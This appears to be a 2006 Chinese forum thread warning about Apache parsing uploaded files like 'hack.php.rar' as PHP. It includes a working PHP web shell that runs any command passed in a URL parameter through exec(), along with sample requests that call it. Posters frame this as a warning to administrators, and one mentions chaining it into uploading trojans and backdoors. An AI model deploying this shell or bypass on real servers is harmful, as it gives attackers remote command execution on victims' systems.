在说php apache后缀漏洞

ocheers

特别是代上传功能的应用。
如果你是把上传的文件统一改名了还好。

如果没有改名。那么就危险拉。
如果他上传jpg,gif,zip还好说拉。如果他上一个 hack.php.rar 那么就轻松拿到你的web sheel 拉 。

测试代码：

1. 
   
2. <?
   
3. if($_GET[comm]!='')
   
4. {
   
5.         exec($_GET[comm],$re);
   
6.         foreach($re as $v)
   
7.                 echo $v.'<br>';
   
8. }
   
9. else
   
10.         exit('Please input command...');
    
11. ?>
    

复制代码

以上代码另存为test.php.rar

测试代码：
http://localhost:/test.php.rar?comm=netstat -n

http://localhost:/test.php.rar?comm=ps -A

http://localhost:/test.php.rar?comm=ls

yueliangdao0608

人家不给你EXEC权限。上了也没用。

ocheers

就看管理员水平拉。我说出来是要引起大家小心。

这样的危险是完全可以避免的。

ocheers

原帖由 yueliangdao0608 于 2006-12-19 16:19 发表
人家不给你EXEC权限。上了也没用。

当然服务器有safe模式就可避免很多安全隐患。
但是我上一个web上传工具。再通过工具上一系列小黑工具木马后门，有用没用慢慢玩。这个就有危险拉。所以我拿出来说，让大家小心。

[ 本帖最后由 ocheers 于 2006-12-19 16:48 编辑 ]